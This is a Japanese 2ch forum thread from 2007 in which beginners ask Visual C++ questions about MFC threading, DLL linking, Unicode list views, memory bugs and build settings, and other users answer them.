1 名前:デフォルトの名無しさん [2007/01/10(水) 00:00:39 ] 1 : ◆Manna2uCLg :2005/04/15(金) 13:33:14 Visual C++入門者・初心者からの質問を、 お兄ちゃん達が優しく、時には厳しく回答してくれるスレッドです。 ■質問するにあたって ・エラーや警告のときはエラーメッセージを書きましょう。 ・開発環境も書きましょう。 ・できるだけ具体的に。 質問の仕方については次のページが大変参考になります。 www.hyuki.com/writing/techask.html myu.daa.jp/osiete/ ■回答するにあたって ・回答する場合はその答えに至るための「コツ」も書いてあげると良いでしょう。 (MSDNのどの項目だとか、何のキーワードでGoogleするとか) ・ネタや煽りは軽く流しましょう。 過去スレ、関連スレなどは>>2-5 。
236 名前:デフォルトの名無しさん mailto:sage [2007/01/26(金) 19:24:43 ] 少しは調べてから質問しよう
237 名前:デフォルトの名無しさん mailto:sage [2007/01/26(金) 21:12:11 ] >>236 >>235 ですが 「Vc6 Release」で検索しても分からなかったんですが
238 名前:デフォルトの名無しさん mailto:sage [2007/01/26(金) 21:16:12 ] ツールバーのあたりで右クリックして「ビルド」をチェックで出るよ
239 名前:デフォルトの名無しさん mailto:sage [2007/01/26(金) 21:19:25 ] MSDNに書いてないわけがない
240 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 00:35:43 ] Inside Windows買っとけ
241 名前:デフォルトの名無しさん [2007/01/27(土) 02:41:48 ] 将棋プログラムを作っています。 すべての種類の駒が描かれている1枚のビットマップから 一部を切り出して(読み込んで)オブジェクトにするには どうしたらいいでしょうか? 一つずつ別ファイルを用意しないとだめ?
242 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 07:26:34 ] >>238 ありがとう
243 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 13:30:33 ] VS2005 MFCシングルベースで、 CDC *pDC = GetDC(); AfxBeginThread(ここがわからない); とメインの中に記述して、マルチスレッドでfunを使って、 funの中でpDCを↓のように使いたいのですが、どうすればいいでしょうか。 void fun(){ pDC->TextOutW(10,10,_T("aaa")); }
244 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 13:33:03 ] MFCオブジェクトをスレッド間で受け渡してはいけない
245 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 13:44:20 ] >>244 そうなんですか・・・。 では、マルチスレッドのfunの中でpDCを使いたい場合はどうすればよろいのでしょうか。
246 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 13:49:29 ] 馬鹿登場
247 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 13:58:14 ] >>245 ハンドル渡せば。 でもいろいろ面倒だから、描画関係はそのウィンドウが属するスレッドでやって 描画に関係ない処理を別スレッドでやる方がいいと思うけど。
248 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 14:16:57 ] キチガイにスレッド
249 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 14:50:03 ] >>244 なんで? MSDNのサンプルでもMFCオブジェクトのポインタ渡してるよ。 まーpDCを渡すのはやばいけどね。
250 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 16:36:24 ] >>249 ハンドル-オブジェクトのテーブルがスレッド固有とかいろいろ。 詳しくはこの辺 ttps://msdn.microsoft.com/library/default.asp?url=/library/en-us/vccore/html/_core_multithreading.3a_.programming_tips.asp
251 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 17:37:52 ] >>250 注意点や、危険性とその回避方は書いてあるが >>244 のようなことは書いてないぞ。 非MFCスレッドでは出来ないと書いてあるけど。
252 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 17:45:10 ] >>251 >As a general rule, a thread can access only MFC objects that it created.
253 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 17:50:29 ] それは明らかにWindows Handle Mapsの説明でしょ。
254 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 17:54:52 ] >>253 >This is because temporary and permanent Windows handle maps are kept in thread local storage to ensure protection from simultaneous access from multiple threads. HDC等もハンドルマップを持ってるから、同様な問題があるよ。
255 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 18:05:32 ] >>253 Windows Handle -> HANDLE, HWND, HDC, SOCKET… Window Handle -> HWND
256 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 18:10:37 ] いや、そういうのは分かってるよ...
257 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 18:30:41 ] そもそも、別のスレッドから描画をする必要があるか、考え直したほうが良いな。
258 名前:243 mailto:sage [2007/01/27(土) 19:11:33 ] 1秒ごとに1文字づつTextOutWで文字を表示していくプログラムを作るつもりなんです。 for(i=0;i<10;i++){ pDC->TextOutW(0,0,_T("aaa")); Sleep(1000); } で、それを処理させながら他の処理ができるようにしたいのです。 こんな安易な考え方からスレッドを使おうとすることが間違いなのでしょうか。 OnTimerを使う方法以外で何かよい方法がありましたら是非教えてください。 それとも、やはりOnTimerを使うしかないのでしょうか。
259 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 19:13:56 ] タイマー使うのが一番簡単な方法だと思うが
260 名前:243 mailto:sage [2007/01/27(土) 19:15:21 ] >>259 了解しました。 ご回答ありがとうございました。
261 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 19:29:47 ] キチガイにふりまわされて真面目にレスしてたやつかわいそう
262 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 19:33:48 ] キチガイにスレッド
263 名前:デフォルトの名無しさん mailto:sage [2007/01/31(水) 01:17:06 ] 縦横のサイズを500で、ピクチャボックスの中には線が描かれており、、それを1600まで拡大して、 そのピクチャボックスの中の線の色を変更したり、線を書き足したりして、 書いたものを崩さずに任意のサイズまで縮小したんですけど、どうしたらいいのでしょうか? できれば、500から1600に拡大して線を描くまでの過程を裏で処理できるようにしたいんですけど、 できるでしょうか?
264 名前:デフォルトの名無しさん mailto:sage [2007/01/31(水) 08:40:51 ] BYTE byte[4] = {0XFF,0XFF,0XC1,0XC1}; DWORD dword; でbyte⇔dword間で変換をしたいのですが byte[0]から見て行って変換するしかないのでしょうか?
265 名前:デフォルトの名無しさん mailto:sage [2007/01/31(水) 08:43:29 ] dword = *(DWORD *)byte ただしエンディアンに注意
266 名前:デフォルトの名無しさん mailto:sage [2007/01/31(水) 09:37:14 ] ワンリトルツーリトルスリーリトルエンディアン
267 名前:デフォルトの名無しさん mailto:sage [2007/01/31(水) 12:15:09 ] エンディアン嘘付かない
268 名前:デフォルトの名無しさん mailto:sage [2007/02/01(木) 00:43:04 ] >265-267 ありがと。リトルエンディアンになることに気をつける
269 名前:デフォルトの名無しさん [2007/02/01(木) 05:09:18 ] 【環境】 WinXP HomeEdition Visual C++ 2005 Express Edition 『ねこでもわかるWindowsプログラミング』で勉強を始めたんですが 本に書いてある通りのプロジェクトの作成ができません。 テンプレートに「Win32 プロジェクトがありません」 アプリケーションウィザードで「Windowsアプリケーション」を選択できません。 ビルドしてもwindows.hが無いとエラーが出ます。 そもそもWindowsアプリケーションが作れないようになっていると感じるのですが ExpressEditionではこれらの操作はできないのでしょうか?
270 名前:デフォルトの名無しさん mailto:sage [2007/02/01(木) 05:18:46 ] >>269 ExpressEditionではPlatformSDK入れたら使えるみたい
271 名前:デフォルトの名無しさん [2007/02/01(木) 07:46:13 ] いま、「スタンダードVC++」を買おうかなと思ってるんですが、本のなかの開発環境が.NETなんですが、覚えたことは2005でも使えますか?
272 名前:デフォルトの名無しさん mailto:sage [2007/02/01(木) 08:27:51 ] >>271 使えるよ 猫でも級に内容が豊富で、EEでも一発でコンパイルが通るサイトがそろそろ欲しいな でも俺が作ったら、どうしてもIDE関連やプロジェクトの設定で長々と語ってしまって、先に進めないんだよなー
273 名前:デフォルトの名無しさん mailto:sage [2007/02/01(木) 08:56:49 ] 無料だからやりはじめた初心者と いままでVCやってた人のギャップが激しすぎる。 C#でもやってりゃいんだよ
274 名前:デフォルトの名無しさん mailto:sage [2007/02/01(木) 08:59:09 ] シャープに決めるぜ
275 名前:デフォルトの名無しさん mailto:sage [2007/02/01(木) 09:53:14 ] FindFirstFileで探したファイルをifstreamでファイルを開きたいんですけど、 どうしたらいいんでしょうか?
276 名前:デフォルトの名無しさん mailto:sage [2007/02/01(木) 10:50:58 ] FindFirstFileでファイル名取れるだろ
277 名前:デフォルトの名無しさん mailto:sage [2007/02/01(木) 10:53:45 ] msdn.microsoft.com/library/ja/jpfileio/html/_win32_findfirstfile.asp?frame=true FindFirstFile サンプル付
278 名前:275 mailto:sage [2007/02/01(木) 13:42:01 ] WIN32_FIND_DATA lp; char pass[500] = "C:\\Documents and Settings\\abcde\\デスクトップ\\program\\適当\\DATA\\abc.txt"; HANDLE h = ::FindFirstFile(pass, &lp); if(h != INVALID_HANDLE_VALUE){ ifstream in(lp.cFileName) if(in){ m_list.InsertString(-1, lp.cFileName); } というふうにしたんですけど、ファイルの名前は取れるんですけど、 ファイルが開きません。 どこがまちがってるんでしょうか?
279 名前:デフォルトの名無しさん mailto:sage [2007/02/01(木) 14:48:31 ] >>278 lp.cFileNameにどういうファイル名が取れてるか調べればわかるだろう
280 名前:デフォルトの名無しさん mailto:sage [2007/02/01(木) 14:56:19 ] あっ できました! ありがとうございました!
281 名前:デフォルトの名無しさん [2007/02/01(木) 15:03:28 ] VC++7.0 MFCでメインウインドウを閉じたときに 全ての後処理開放処理の時間がかかるときがあるアプリケーションが あると思います。そこで終了処理をある程度表示させて確認したいのですが なにか良い方法はありますか?
282 名前:デフォルトの名無しさん mailto:sage [2007/02/01(木) 15:14:44 ] どうだろ、、、WM_CLOSEとかDESTROYあたりでイベント作って そのイベントとメッセージをWaitForMultipleObjectsで待ちつつメッセージループ作って イベントがシグナルになったら閉じる処理の続きとかどうだろう
283 名前:デフォルトの名無しさん mailto:sage [2007/02/01(木) 16:26:15 ] >>281 スプラッシュウィンドウ
284 名前:デフォルトの名無しさん mailto:sage [2007/02/01(木) 17:58:31 ] スプラッシュマウンテン
285 名前:デフォルトの名無しさん mailto:sage [2007/02/01(木) 18:10:28 ] スプラッシュムービー
286 名前:デフォルトの名無しさん mailto:sage [2007/02/01(木) 22:14:03 ] VC++.NET2003 Windowsフォームを使用して開発しています。 1画面でかなり多くの数のコントロールを貼り付けているのですが、 デザイン画面を開くとき重くて時間が掛かっています。 また、Releaceでコンパイルしようとすると30分掛かっても終わりません。。 解決策はあるのでしょうか。 1画面で多くのコントロールを表示する理由は、 画面を切り替えずに複数の画面(?)を表示させるという仕様になっているからです。 今はパネルでコンテナ化し、各画面を出したい時にパネルの表示・非表示を 切り替えているのですが、正直限界です。 良い方法があればぜひ教えて下さい。
287 名前:デフォルトの名無しさん mailto:sage [2007/02/02(金) 08:05:43 ] メモリを増やす
288 名前:デフォルトの名無しさん mailto:sage [2007/02/02(金) 08:16:12 ] お母さんに相談する。
289 名前:デフォルトの名無しさん mailto:sage [2007/02/02(金) 08:49:20 ] メモリは1ギガなんですけど・・・ それでも足りないとなると、他の人に委託しずらい等、 色々支障が出てくると思います。 それに、2ギガに増やして早さが倍になっても、 やっぱり遅い気がします。。
290 名前:デフォルトの名無しさん mailto:sage [2007/02/02(金) 09:16:16 ] それはメモリの問題ではなくてCPUが余りにも余りにもなんではないだろうか。
291 名前:デフォルトの名無しさん mailto:sage [2007/02/02(金) 10:23:42 ] でも1GBと2GBでは段違いの差が出る
292 名前:デフォルトの名無しさん mailto:sage [2007/02/02(金) 10:49:16 ] 数ヶ月前に購入したマシンなので、環境を変える事はできないです。 そこまで最新のマシンでなければ動かせないのは やはりおかしいと思うんです。 画面を分け、あたかも1つの画面で動くように見せるという方法がありましたので、 それでやってみたいと思います。 ありがとうございました。
293 名前:デフォルトの名無しさん mailto:sage [2007/02/02(金) 11:47:33 ] コントロール並べすぎなのがわるいと気づけ
294 名前:デフォルトの名無しさん mailto:sage [2007/02/02(金) 12:31:10 ] それはもちろん分かってました。 だから、それ以外の方法があれば教えて欲しいと思い、 相談させてもらったのですが、、、。
295 名前:デフォルトの名無しさん mailto:sage [2007/02/02(金) 12:40:13 ] コントロールが問題になるほど多数あるということは、それらの配置には規則性があるはずだ。 だとすれば、ポトペタせずに自前で生成すればいい。
296 名前:デフォルトの名無しさん mailto:sage [2007/02/02(金) 19:54:33 ] うーん。 規則は、ある部分もあるのですが、 画面10枚分ぐらいのコントロールを1つのフォームで配置してるので 自分で書くのはちょっとしんどいですね。。 変わる可能性大ですし。 結局、ユーザーコントロールを画面分用意してやる事にしました。
297 名前:デフォルトの名無しさん mailto:sage [2007/02/02(金) 23:51:25 ] ……多いと思った段階で分けようって思わないもんかね。
298 名前:デフォルトの名無しさん [2007/02/03(土) 00:14:14 ] MFC,SDIでCEditViewを使ってファイルから読み込んだ結果を エディットボックスに表示しようと考えています。 表示の仕方は下記です。 void CtestView::setEditBox(char *str){ CEdit &edit = GetDitCtrl(); edit.SetWindowText(str); } ファイルを読み込んで処理した結果をstrに入れるという感じです。 メニューのファイルオープンから読み込んだ場合は下記の 処理でいけるんですが・・・ CtestView *pView = ((CtestView*)(((CFrameWnd*)(AfxGetApp()->m_pMainWnd))->GetActiveView())); pView->setEditBox(str); 実行ファイルにファイルをドロップして起動させた場合、 ドキュメントの BOOL CtestDoc::OnOpenDocument(LPCTSTR lpszPathName) に入るようですが、ここから上記のsetEditBox()を呼び出してもエラーに なります。 原因は起動時でまだViewが出来ていないことであることは分かっているのですが、 どのタイミングで呼び出せばよいのか分かりません。 どうすればよいのでしょうか?
299 名前:デフォルトの名無しさん mailto:sage [2007/02/03(土) 00:51:59 ] >>298 新しいドキュメントを開いたあとは必ず void CtestView::OnInitialUpdate() が呼び出されるので、そこで setEditBox(GetDocument()->GetYourString());
300 名前:デフォルトの名無しさん mailto:sage [2007/02/03(土) 06:22:59 ] ファイル読んで表示が終わってからもう一回表示しなおし? 読むときに処理すればいいのでは?
301 名前:デフォルトの名無しさん mailto:sage [2007/02/03(土) 07:40:52 ] >>299 今環境がないので試せないですが、そのタイミングでは必ず ビューが作成されているんですか? >>300 読むときに処理すればいいんですが、アイコンにドロップして 起動させた場合はタイミングによってビューが作成されていないので エラーになるんです。
302 名前:デフォルトの名無しさん mailto:sage [2007/02/03(土) 07:44:51 ] 表示しなおしじゃなく、299をやった上で > CtestView *pView = ((CtestView*)(((CFrameWnd*)(AfxGetApp()->m_pMainWnd))->GetActiveView())); > pView->setEditBox(str); は当然削除だろ。個人的にはCtestDocにCtestView.hをincludeするのは、やってはいけない事だと思う。
303 名前:デフォルトの名無しさん mailto:sage [2007/02/03(土) 07:48:31 ] >>301 ドキュメントを読んだあとにビューを更新するために用意されているメソッドだし 当然ビューは存在してるよ。
304 名前:298 mailto:sage [2007/02/03(土) 08:20:28 ] >>303 分かりました。 ありがとうございます。
305 名前:デフォルトの名無しさん [2007/02/03(土) 09:14:25 ] >>272 ありがとん
306 名前:デフォルトの名無しさん [2007/02/03(土) 09:54:09 ] >>270 ありがとうございます。 せっかく教えて頂いたのにアレなんですが、インストールしようとしたところ ちょっとCドライブの空きが足りなかったのでしばらくは秀丸とbccでやってみます。
307 名前:いーぶいしー [2007/02/03(土) 16:42:45 ] クライアント(.exe)から 自分で作成したDLLに定義されているClassのpubicなメンバ変数に、アクセスしたい場合、 そのメンバ変数が構造体だと、その構造体の定義はクライアント側にも必要なのでしょうか? 定義を一箇所(DLL側のみ)にはできないのでしょうか?
308 名前:デフォルトの名無しさん mailto:sage [2007/02/03(土) 16:49:16 ] >>307 もちろん必要、共通でinlcudeする*.hファイルに定義しておく。 C++/CLIのrefクラス、ref構造体は例外だけど
309 名前:デフォルトの名無しさん [2007/02/04(日) 01:12:51 ] 二色刷りで動物の絵が表紙にデカデカと書いてある本を探しているのですが、 何方かこの本の題名を知らないでしょうか? なんでも辞書みたいな感じの本で延々とコードが書いてあるらしいのですが。 あとみなさんはどのような本で勉強していますか? ちなみに僕は学校の授業でやったもののほぼ未経験です。
310 名前:デフォルトの名無しさん mailto:sage [2007/02/04(日) 01:52:01 ] > 動物の絵が表紙にデカデカと書いてある本 沢山あるぞ。好きなのを選ぶが良い。 ttp://www.oreilly.co.jp/index.shtml > どのような本 一冊で完結なんて出来ないんだから 自分の目的にあった本を (良い意味で)適当に買いつづけていけばいいと思うよ。 ↓参考 推薦図書/必読書のためのスレッド PART33 pc10.2ch.net/test/read.cgi/tech/1167140188/l50
311 名前:デフォルトの名無しさん mailto:sage [2007/02/04(日) 18:14:46 ] すいません。御存知の方がいたら教えてください。 環境:Windows XP,VC++6.0 「_MBCS」指定 Windowsのアプリを作っているのですが、リストビューの部分のみにUnicode文字のデータを表示 させたいので以下のようにリストビューの部分のみワイド文字仕様の構造体を使用しています。 リストビュー設定部のソース static HWND hList; LV_COLUMNW lvcol;LV_ITEMW item; InitCommonControls(); hList = CreateWindowExW(0,WC_LISTVIEWW, L"",WS_CHILD | WS_VISIBLE | LVS_REPORT, 0, 0, 300, 200,hWnd,(HMENU)ID_LISTVIEW,hInst,NULL); lvcol.mask = LVCF_FMT | LVCF_WIDTH | LVCF_TEXT | LVCF_SUBITEM; lvcol.fmt = LVCFMT_LEFT; lvcol.cx = 100; lvcol.pszText = L"項目1"; lvcol.iSubItem = 0; ListView_InsertColumn(hList, 0, &lvcol); item.mask = LVIF_TEXT; item.pszText = L"内容1"; item.iItem = 0;item.iSubItem = 0; ListView_InsertItem(hList, &item); これで実行すると、リストビュー部に表示される文字が全て16進で表示されてしまいます。 正常に「項目1」,「内容1」で表示させる方法は、無いのでしょうか? ListView_InsertColumnの部分のヘッダファイルを見ると #define ListView_InsertColumn(hwnd, iCol, pcol) \ (int)SNDMSG((hwnd), LVM_INSERTCOLUMN, (WPARAM)(int)(iCol), (LPARAM)(const LV_COLUMN FAR*)(pcol)) となっているから無理なのかな?よろしくお願いします。
312 名前:デフォルトの名無しさん mailto:sage [2007/02/04(日) 18:39:30 ] >>311 とりあえずListView_InsertColumn中のSNDMSGがSendMessageAになってる。 LVM_INSERTCOLUMNもAつきのほうだし。 マクロは全滅なきがする。
313 名前:311 mailto:sage [2007/02/04(日) 21:09:25 ] >>312 ありがとう。 やっぱプロジェクト自体をUnicode仕様にするしかないのかな? >マクロは全滅なきがする。 マクロ以外で実現する方法ってあるの?
314 名前:311 mailto:sage [2007/02/04(日) 21:25:03 ] とりあえず以下のように自分でマクロを作ってみたらうまく表示できた。 #define ListView_InsertColumn_W(hwnd, iCol, pcol) \ (int)SendMessageW((hwnd), LVM_INSERTCOLUMNW, (WPARAM)(int)(iCol), (LPARAM)(const LV_COLUMNW FAR*)(pcol)) これだけで問題ないんだろうか?
315 名前:デフォルトの名無しさん mailto:sage [2007/02/04(日) 21:38:50 ] >>311-312 SNDMSGは単にSendMessageとして定義されているから、 当然プログラム全体をUNICODE化すればマクロがそのまま使えるんだ。 逆に言えばSendMessageがSendMessageWになりさえすればいいわけだから、 UNICODEとしてマクロを使いたい部分の前にこれ、 #pragma push_macro("SendMessage") #undef SendMessage #define SendMessage SendMessageW 後に#pragma pop_macro("SendMessage")を置けばいけると思う。 push_macro/pop_macroがVC6でも使えるかどうかは知らないけど。
316 名前:311 mailto:sage [2007/02/04(日) 22:00:59 ] >>315 ありがとう。 #pragma push_macro("SendMessage") #undef SendMessage #define SendMessage SendMessageW InitCommonControls(); : : item.mask = LVIF_TEXT; item.pszText = L"内容1"; item.iItem = 0;item.iSubItem = 0; ListView_InsertItem(hList, &item); #pragma pop_macro("SendMessage") 上記のように修正してみたが、コンパイルは通ったが、表示結果は16進のままだった。 VC++6.0では、push_macro/pop_macroが使えないのかもしれない。 >>314 に書いた方法でやってみます。 ありがとう。
317 名前:298 [2007/02/06(火) 07:43:06 ] OnInitialUpdate() で実行することが出来ました。 もう一つ教えてください。 エディットボックスなどのコントロールの初期化処理を したいのですが、どのタイミングでやればいいんでしょうか? WM_CREATEではまだコントロールが作成されていません。 OnInitialUpdate() では問題ないのですが、最初の一度だけと いう訳にはいきません。 static BOOL flag; を使ってifで判定して最初だけ実行すれば出来たのですが、 もっとスマートな方法はありますでしょうか?
318 名前:デフォルトの名無しさん mailto:sage [2007/02/06(火) 08:54:09 ] OnInitialUpdateは最初の一度という意味
319 名前:デフォルトの名無しさん mailto:sage [2007/02/06(火) 10:39:28 ] >>317 Documentが変わってもView内のコントロールの位置やサイズが変わらない タイプのアプリの場合は、自分もOnInitialUpdateでstaticなフラグ使って 一回だけやってる。特に問題ないと思うけど。 これ以上はアプリ形態と初期化内容が判らない限り何ともいえない。
320 名前:デフォルトの名無しさん [2007/02/06(火) 16:24:36 ] ヘッダファイルに変数を追加するだけで アプリケーション起動時にOSがエラーを出してくることがあります もう一つ二つ意味のない変数を追加すれば治ることもあるのですが これはどうしてなのですか?変数追加だけなので プログラムの中で使ってもいません名前も被っていないです どんな変数でもこの症状が起こるときは起こります
321 名前:デフォルトの名無しさん mailto:sage [2007/02/06(火) 16:28:09 ] 領域外アクセスとかのバグが変数追加で表面化したんだろ
322 名前:デフォルトの名無しさん [2007/02/06(火) 16:29:38 ] つまり他の変数になにか問題があるということですか?
323 名前:デフォルトの名無しさん [2007/02/06(火) 16:41:35 ] Runtime Error! Program:_xxxxxxxxxxx ←exeの場所 abnormal program termination こんな感じで表示されます 今回は他の変数を追加しても直りません 助けてください。アクセス外ということは文字列かなにか 静的に領域をとってる配列等が原因なのでしょうか?
324 名前:デフォルトの名無しさん [2007/02/06(火) 16:48:23 ] 文字列20文字もいらない文字の領域を200にしたらいけました うーん無駄に領域を確保すれば直るなんて謎だ
325 名前:デフォルトの名無しさん mailto:sage [2007/02/06(火) 16:54:18 ] 謎っつーか、メモリの管理がすげー甘いんじゃなかろうか 一度きっちり調べ直してみることをお薦めする
326 名前:デフォルトの名無しさん [2007/02/06(火) 17:14:52 ] すいません独学なんですがメモリ管理では 全てのメンバ変数にdeleteをしたほうがいいのでしょうか?
327 名前:デフォルトの名無しさん mailto:sage [2007/02/06(火) 17:19:11 ] newしたものにはdelete、new[]したものにはdelete[]。 逆にnewしていないものにdeleteは要らない。 ただし可能な限り、std::vectorなどnew[]/delete[]を隠匿したものを使ったり、 boost::shared_ptr/arrayやboost::scoped_ptr/array、std::auto_ptrなど、 せめてdelete/delete[]だけでも隠匿して使うようにすべき。
328 名前:デフォルトの名無しさん [2007/02/06(火) 17:22:56 ] 文字列などは配列で静的に確保しないほうがいいのでしょうか? newで動的確保するべきなのですか?
329 名前:デフォルトの名無しさん mailto:sage [2007/02/06(火) 17:26:58 ] 大量にバッファを必要とするのならともかく、 そうでないのなら静的確保で十分
330 名前:デフォルトの名無しさん [2007/02/06(火) 17:30:17 ] 私はその他のオブジェクトもnewで動的確保はしていませんでしたので deleteを使うところが見当たりません 原因は全て静的にしているせいなのでしょうか?
331 名前:デフォルトの名無しさん [2007/02/06(火) 17:36:36 ] いまだにdllの仕組みが理解できません。 猫でものホームページ見ながら作ってみたんですが dllを作った時のヘッダを含めて かつその時出来たlibファイルを #pragma comment(lib,"〜.lib) か、リンカの設定でリンクしないと使えないのは libを通してやらないと、dll内の関数を呼び出すことは出来ないと いう事なんでしょうか。 LoadLibraryを使っても意味無かったので、よくわからないです。 どなたか教えて頂ければ幸いです。 VS2005というIDE環境で勉強してるから楽出来てる分その楽 出来ている理由が解って無く勉強不足になってると自らは思います。
332 名前:デフォルトの名無しさん mailto:sage [2007/02/06(火) 17:41:21 ] >>330 「静的」「動的」の意味が分かっていないような気がする。 コードの中で int i; char String[80]; とかやるのが「静的確保」。これらの変数は実行ファイルがメモリ上に ロードされた時点で既に存在していて、終了と同時に消滅する。 グローバル変数だろうが(クラスの)メンバ変数だろうがそれは同じ。 したがって delete/delete[] は必要ない。
333 名前:デフォルトの名無しさん mailto:sage [2007/02/06(火) 17:48:03 ] >>331 LoadLibraryで読み込んだDLLの関数を呼び出すには、 GetProcAddressで関数のアドレスを取得するんだよ。
334 名前:デフォルトの名無しさん mailto:sage [2007/02/06(火) 17:49:34 ] >>331 VS2005で「DLLを作る」と言ったときには自動的にLIBファイルも作られるけど、 この2つは完全に別種のもの。中身は一緒、ただ使い方が違う。 LIBファイルは静的リンク用のファイル。 自分の実行ファイルの中に(コンパイルの時点で)取り込んでしまって、 あたかも自分の書いたコードと同じように使えます、というもの。 だからLIBを組み込むときにはリンカなり#pragmaなりで予め設定をして、 コンパイルのときにリンクすることを明示しなければならない。 DLLは動的リンク用のファイル。 一般的には、まずLoadLibrary()でDLLファイルを読み込み、 (そこでもし成功したなら)次にGetProcAddress()で DLLの中に埋め込まれた関数を取り出して使う、 最後にFreeLibrary()でDLLを自分のプログラムから取り外す、 という段取りを踏む。 コンパイル時には存在しなくても構わない、実行時にあればいい。
335 名前:デフォルトの名無しさん [2007/02/06(火) 17:55:16 ] >>332 うーんということは私が知らず知らずのうちに どこかで動的確保しているということでしょうか?
336 名前:デフォルトの名無しさん mailto:sage [2007/02/06(火) 18:02:34 ] >>334 >VS2005で「DLLを作る」と言ったときには自動的にLIBファイルも作られるけど、 このLIBはインポートトライブラリ。 LoadLibraryやらGetProcAddressやらメンドクサイ処理をしてくれる短いモジュール。 これを静的にリンクすればDLLの呼び出しが簡単に出来る。 インポートトライブラリがあるなら極力使ったほうが楽。
337 名前:デフォルトの名無しさん mailto:sage [2007/02/06(火) 18:05:31 ] インポートトライブラリ インポートトトライブラリ インポートトトトライブラリ
338 名前:320 [2007/02/06(火) 18:12:06 ] スレッドオブジェクトの配列をグローバル変数にしてるんですが これはまずいですか?せめて原因をつきとめたいです
339 名前:デフォルトの名無しさん mailto:sage [2007/02/06(火) 18:12:57 ] >>335 動的確保はスタックに積むケースとnewやmallocなどでヒープから確保するケースがある。 静的確保はstaticで定義した場合(明示的にstaticをg使わないケースも含む) クラス内のメンバー変数はクラスがどう生成されたかによる。 >>336 誤字をさらにコピーしてしまったか、インポートライブラリだな。
340 名前:331 mailto:sage [2007/02/06(火) 18:44:51 ] >>333 さん >>334 さん >>336 さん ご教授ありがとうございました。 GetProcAddress()FreeLibrary()ってのも必要なんですね。 それと、dll作った時のlibはインポートライブラリなんですね。 「プログラムはなぜ動くのか」って本を読んだにもかかわらず 流し読みで頭に入っておらず再読したらちゃんと書いてありました。 はぁ、馬鹿だな俺って。
341 名前:デフォルトの名無しさん mailto:sage [2007/02/06(火) 19:56:07 ] SendMessageであるウィンドウにDボタンを送りたいのですが、 SendMessage(hwnd, このあとをどうすればよいのでしょうか。 ご教授願います。
342 名前:デフォルトの名無しさん mailto:sage [2007/02/06(火) 20:06:34 ] >はぁ、馬鹿だな俺って。 それに気がつくことができれば、今後はもっと「馬鹿」じゃなくなるでしょう。 そうやって向上できる人間が、「賢い」のです。 #で、「ご教示」ですね。 >>320 ソース公開しちゃった方が話が早そうですね。
343 名前:デフォルトの名無しさん mailto:sage [2007/02/06(火) 20:07:43 ] >>341 Dボタンってなんですか? マウスクリックのイベントを送りたいなら、Spy++でどういうパラメータを渡せばいいか覗いてみると宜しいかと。
344 名前:317 mailto:sage [2007/02/06(火) 21:25:08 ] >>319 フラグを使うのは普通なんですね。 ありがとうございました。
345 名前:デフォルトの名無しさん mailto:sage [2007/02/07(水) 00:17:13 ] >>320 いろいろ言われてるけど、とりあえず 配列利用時に、添え字がオーバーアクセスしてないか確認するべし。 > 原因を突き止めたい デバッガを上手に利用しましょう。 ある特定のメモリ空間にアクセスした時にbreakかけることも出来たはず。 詳しくは「ブレークポイント」をMSDNで調べてくれ。
346 名前:デフォルトの名無しさん mailto:sage [2007/02/07(水) 00:59:43 ] 基礎的すぎる質問なんですが、 ダイアログエディタで適当にあれこれコントロールを張ったとき、 VC++2003でビルドしたプログラムを98SEで走らせると、 コントロールのマルチバイト文字がすべて文字化けする。 エディットボックスに直接マルチバイト文字入れても同じく。 メニューバーやステータスバーは文字化けしない。 文字はTCHAR系統を使い、ビルドした結果はすべてwchar_tになっているはず。 このような状況で、文字化けさせない用にする方法を教えてくださいませんでしょうか?
347 名前:デフォルトの名無しさん mailto:sage [2007/02/07(水) 01:47:02 ] 9xはUNICODE対応していないから、MSLUを使うか非UNICODEにするかしないとだめだよ。
348 名前:デフォルトの名無しさん mailto:sage [2007/02/07(水) 02:07:28 ] 2000とXPは内部コードはUnicodeだけど98とかはどうなんだろう。 localeまわりかな?Unicode適応しないでビルドしたらSJISになっていけるのかな?
349 名前:デフォルトの名無しさん mailto:sage [2007/02/07(水) 02:23:29 ] >>347 なるほど… わかりました。 ありがとうございました。
350 名前:デフォルトの名無しさん mailto:sage [2007/02/07(水) 09:03:22 ] >>346 マルチバイト文字(列) と ワイド文字(列) の意味を 使い分けられて無い気がするぞ。 マルチバイト文字列は char* で ワイド文字列は wchar_t* だ。
351 名前:デフォルトの名無しさん mailto:sage [2007/02/07(水) 10:14:21 ] そもそもダイアログでコードページ932で作ってたりして
352 名前:デフォルトの名無しさん [2007/02/07(水) 10:18:25 ] クラスのメンバ変数についての質問です グローバル変数としてビュークラスの外で宣言したクラスの メンバ変数は0や空文字で初期化されてるんですが そのクラスをビュークラスのメンバとして宣言するとそのクラスの メンバ変数が初期化されないのはどうしてですか?
353 名前:デフォルトの名無しさん mailto:sage [2007/02/07(水) 10:26:03 ] >>352 C++スレ行くか C++の入門書でも読んで勉強してください
354 名前:デフォルトの名無しさん mailto:sage [2007/02/07(水) 10:31:05 ] >>353 わからないんですね
355 名前:デフォルトの名無しさん mailto:sage [2007/02/07(水) 10:36:05 ] 入門書にしっかり書いてある
356 名前:デフォルトの名無しさん [2007/02/07(水) 10:39:04 ] pc10.2ch.net/test/read.cgi/tech/1167476845/ ではここで教えてください
357 名前:デフォルトの名無しさん mailto:sage [2007/02/07(水) 11:03:34 ] グローバル変数はコンパイル時に場所が決まってるから
